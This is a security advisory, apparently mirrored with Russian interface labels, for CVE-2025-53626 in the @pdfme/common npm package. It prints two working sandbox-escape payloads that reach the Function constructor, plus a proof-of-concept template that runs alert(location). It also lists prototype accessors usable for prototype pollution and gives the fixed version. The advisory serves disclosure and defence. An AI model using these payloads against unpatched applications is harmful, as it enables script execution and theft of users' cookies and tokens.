GHSA-54xv-94qv-2gfg

Опубликовано: 10 июл. 2025

Источник: github

Github: Прошло ревью

CVSS3: 6.1

Описание

@pdfme/common vulnerable to to XSS and Prototype Pollution through its expression evaluation

Summary

The expression evaluation feature in pdfme 5.2.0 to 5.4.0 contains critical vulnerabilities allowing sandbox escape leading to XSS and prototype pollution attacks.

Details

1. Sandbox Escape Leading to XSS

The expression evaluator's sandbox can be bypassed to execute arbitrary JavaScript code. Attackers can obtain the Function constructor through indirect methods:

// Attack vector 1: Using Object.getOwnPropertyDescriptor { ((f, g) => f(g(Object), "constructor").value)(Object.getOwnPropertyDescriptor, Object.getPrototypeOf)("alert(location)")() } // Attack vector 2: Using object property access { { f: Object.getOwnPropertyDescriptor }.f({ g: Object.getPrototypeOf }.g(Object), "constructor").value("alert(location)")() }

Both payloads bypass the sandbox restrictions and execute Function("alert(location)")().

2. Prototype Pollution

The expression evaluator allows access to prototype accessor methods which can be exploited with Object.assign to pollute the prototype chain:

__lookupGetter__
__lookupSetter__
__defineGetter__
__defineSetter__

Impact

These vulnerabilities allow attackers to:

Execute arbitrary JavaScript code in the context of the application
Steal sensitive information including cookies and tokens
Modify application behavior through prototype pollution
Potentially perform actions on behalf of users

Proof of Concept

Loading the following template in pdfme triggers alert(location):

{ "schemas": [[{ "name": "field1", "type": "text", "content": "{ ((f, g) => f(g(Object), 'constructor').value)(Object.getOwnPropertyDescriptor, Object.getPrototypeOf)('alert(location)')() }", "position": { "x": 0, "y": 0 }, "width": 100, "height": 100 }]], "basePdf": { "width": 100, "height": 100 }, "pdfmeVersion": "5.4.0" }

Ссылки

Пакеты

Наименование

@pdfme/common

npm

Затронутые версииВерсия исправления

>= 5.2.0, < 5.4.1

5.4.1

EPSS

Процентиль: 2%

0.00013

Низкий

6.1 Medium

CVSS3

CVE ID

CVE-2025-53626

Дефекты

CWE-1321

CWE-79

Связанные уязвимости

CVE-2025-53626

CVSS3: 6.1

nvd

7 месяцев назад

pdfme is a TypeScript-based PDF generator and React-based UI. The expression evaluation feature in pdfme 5.2.0 to 5.4.0 contains critical vulnerabilities allowing sandbox escape leading to XSS and prototype pollution attacks. This vulnerability is fixed in 5.4.1.

EPSS

Процентиль: 2%

0.00013

Низкий

6.1 Medium

CVSS3

CVE ID

CVE-2025-53626

Дефекты

CWE-1321

CWE-79